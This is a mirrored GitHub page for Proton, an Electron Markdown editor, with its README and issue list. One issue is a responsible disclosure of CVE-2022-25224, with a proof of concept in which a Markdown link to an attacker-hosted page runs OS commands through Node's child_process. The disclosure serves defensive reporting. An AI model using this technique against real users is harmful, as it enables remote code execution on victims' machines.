Giter Site home page Giter Site logo

steventhanna / proton Goto Github PK

View Code? Open in Web Editor NEW
160.0 6.0 20.0 410.97 MB

A stand-alone application to quickly preview and edit Markdown files using Electron.

Home Page: http://steventhanna.github.io/proton

License: GNU General Public License v3.0

HTML 0.07% JavaScript 98.39% CSS 1.55%
proton electron text-editor markdown markdown-editor markdown-parser

proton's Introduction

Stories in Ready

Proton

A stand-alone application to quickly preview and edit Markdown files using Electron.

Proton Screenshot

Purpose

As a college student, I needed a way to quickly take rich notes in class. I have long been a proponent of the Markdown Language, so I decided to download MacDown for easy rendering and viewing. However, upon an OS update on my local machine, the Markdown rendering broke. Thus, I decided to build my own open-sourced version that is supported on Windows, OSX, and Linux machines using the Electron Framework.

Installing

Mac OS X

  1. Download the Zip File.
  2. Unzip the file.
  3. Move Proton.app to your Applications Folder.

Windows

  1. Download the Zip File.
  2. Unzip the file.
  3. Move the Proton.exe to your desired destination for installed applications.

Linux

Ubuntu (From PPA)

Coming soon

Ubuntu (.deb)

  1. Download the .deb file (amd64 only -- more support coming soon)
    $: cd ~/Downloads
    $: wget https://github.com/steventhanna/proton/releases/download/v0.1.0/proton_0.1.0_amd64.deb
    
  2. Install Proton from the .deb file.
    $: sudo dpkg -i proton_0.1.0_amd64.deb
    

Linux (Binary)

  1. Download and Install the Binary. (x64) (ia32)
    $: cd ~/Download
    
    # For x64
    $: wget https://github.com/steventhanna/proton/releases/download/v0.1.0/Proton-Linux_0.1.0_x64.tar.gz
    $: tar -xzf Proton-Linux_0.1.0_x64.tar.gz
    $: mkdir /opt/Proton
    $: cd /opt/Proton
    $: mv ~/Downloads/Proton-Linux_0.1.0_x64/* .
    
    # For ia32
    $: wget https://github.com/steventhanna/proton/releases/download/v0.1.0/Proton-Linux_0.1.0_ia32.tar.g
    $: tar -xzf Proton-Linux_0.1.0_ia32.tar.gz
    $: mkdir /opt/Proton
    $: cd /opt/Proton
    $: mv ~/Downloads/Proton-Linux_0.1.0_ia32/* .
    

Building

  1. Clone repo: git clone [email protected]:steventhanna/proton.git
  2. Change to repo: cd PATH$TO$REPO
  3. Install dependencies: npm install

Usage

  1. Start electron: electron .

Tests

Coming Soon

Contributing

  1. Fork it!
  2. Create your feature branch: git checkout my-new-feature
  3. Commit your changes
  4. Submit a pull request

License

Proton is licensed under the GNU General Public License. Read the license here.

Built On

CoverAll Package Script: electron-packager proton Proton --platform=linux --arch=all --overwrite && electron-packager proton Proton --platform=win32 --arch=all --icon=proton.ico --overwrite && electron-packager proton Proton --platform=darwin --arch=all --icon=proton.icns --overwrite

proton's People

Contributors

sotch-pr35mac avatar steventhanna avatar waffle-iron avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar

proton's Issues

Inconsistent Scroll Positions

Because of the way Markdown is compiled, sometimes there is more content being rendered than there is in the code editor... The way I had it before, I was unable to get the preview text panel to scroll anymore, due to the fact that the actual preview panel cannot scroll... The ace editor can scroll, because it is a self contained module, while the preview is built on top of the window and the body. So when the preview scrolls, it is actually the body.

Export to PDF fails on OSX

(seems to be different issue to #29)

Running under OSX 10.9.5. If I select "Export to PDF" then nothing happens, except:

  • the preview pane scrolls slightly
  • 2 seconds later, the preview pane scrolls back to where it was

Nothing else - in particular, I was expecting a dialog box to open asking for a save destination.

Proton itself doesn't seem to show any version number (About Proton redirects to the website), but this is the file I downloaded:

$ ls -lrt ~/Downloads/Proton-OSX.zip
-rw-r--r--@ 1 brian  staff  82119959 21 Jul 20:32 /Users/brian/Downloads/Proton-OSX.zip

Export to HTML and PDF Issue

Seems to be a node modules issue... Will have to look into this. Currently this is broken on all platforms, but built locally works fine.

screen shot 2016-12-20 at 7 19 19 pm

Configure Linux Installation Candidates to use configure-make-install

Configure the Linux Installation Candidates to work using the following commands:

./configure
make
make install

This will allow us to build the source for debian systems properly and have the program be able to be downloaded from via PPA.
Right now what we are using is electron-packager to build the system specific binaries and then using the Linux binary to build a .deb file that can be downloaded and installed. However this isn't the proper way to package files for Ubuntu, and is only a temporary workaround until this issue is completed. We can't upload a .deb to Launchpad because it will try and build the binaries itself, but since we are providing it with a binary and not the source the build will always, of course, fail.

  • Configure configure-make-install procedure
    • Build Configure File
    • Build Makefile
    • Test to ensure usability
  • Build Debian Binary Packages
    • Test to ensure usability
  • Build Debian Source Packages
    • Build source package using pbuilder for chroot environment
  • Upload to PPA
    • Fix inevitable build errors....
    • Test to ensure usability
  • Publish new binaries and new Linux install Instructions

The font size should be flexible

You have done a nice job with proton. On a high resolution monitor the text becomes too small to read.
A menu item that allows font resizing would be of real help. A less pressing readability enhancement would be allowing the font face to be set by the user.

XSS To RCE - Proton v0.2.0

Our security team found a security issue inside Proton v0.2.0. We have reserved the CVE-2022-25224 to refer to this issue. Attached below is the link to our responsible disclosure policy.

https://fluidattacks.com/advisories/policy

Bug description

Proton v0.2.0 allows an attacker to create a malicious link inside a markdown file. When the victim clicks the link, the application opens the site in the current frame allowing an attacker to host javascript code in the malicious link in order to trigger an XSS attack. The nodeIntegration configuration is set to on which allows the webpage to use NodeJs features, an attacker can leverage this to run OS commands.

CVSSv3 Vector:

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N

CVSSv3 Base Score:

7.1

Steps to reproduce

  1. Create a markdown file with the following content.
[Click me!!!](http://192.168.1.67:8002/rce.html)
  1. Host the rce.html file with the following content on a server controlled by the attacker.
<script>
    require('child_process').exec('calc');
</script>
  1. Send the markdown file to the victim. When the victim clicks the markdown link the site will be open inside electron and the javascript code will spawn a calculator.

Screenshots and files

rce_poc

System Information

  • Version: Proton v0.2.0.
  • Operating System: Windows 10.0.19042 N/A Build 19042.
  • Installer: Proton.Setup.0.2.0.exe

Alert Messages Pretty Fade

Trying to incorporate JQuery...

ipc.on('error', errorMessage => {
  var type = errorMessage.type;
  var message = errorMessage.message;
  document.getElementById('error').innerHTML = '<div style="margin-right: 10px;" class="alert alert-' + type + ' alert-dismissible" role="alert"><button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>' + message + '</div>';
  window.setTimeout(function() {
    var alertT = '.alert-' + type;
    $("#error").fadeOut();
    $(alertT).alert('close');
  }, 2000);
});

Settings Panel

Create a settings panel for items such as editor color, font size, etc.

Can't Export File to PDF

On Linux 64-bit, I can't export a file to PDF. I get two error messages that are as follows after trying to save the exported file.

error1

error2

Linux Binary Won't Run

The Linux Binary currently available in the Initial Release won't run. However running the app from source using electron . works perfect.

It looks like the binary is missing shared library called libnode.so.

The output of ./Proton is this:

./Proton: error while loading shared libraries: libnode.so: cannot open shared object file: No such file or directory

LaTeX Support

LaTeX Parser
KaTeX

Use the following CDN

<link rel="stylesheet" type="text/css" href="http://jaxedit.com/note/typejax/typejax.css" />
<script type="text/javascript" src="http://jaxedit.com/note/typejax/typejax.js"></script>

Proton-Windows Fails to Start

The program can't start because node.dll is missing from your computer. Try reinstalling the program to fix this problem.

So there is more to it than just moving proton.exe to a directory of my choice...

Just sayin'...

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.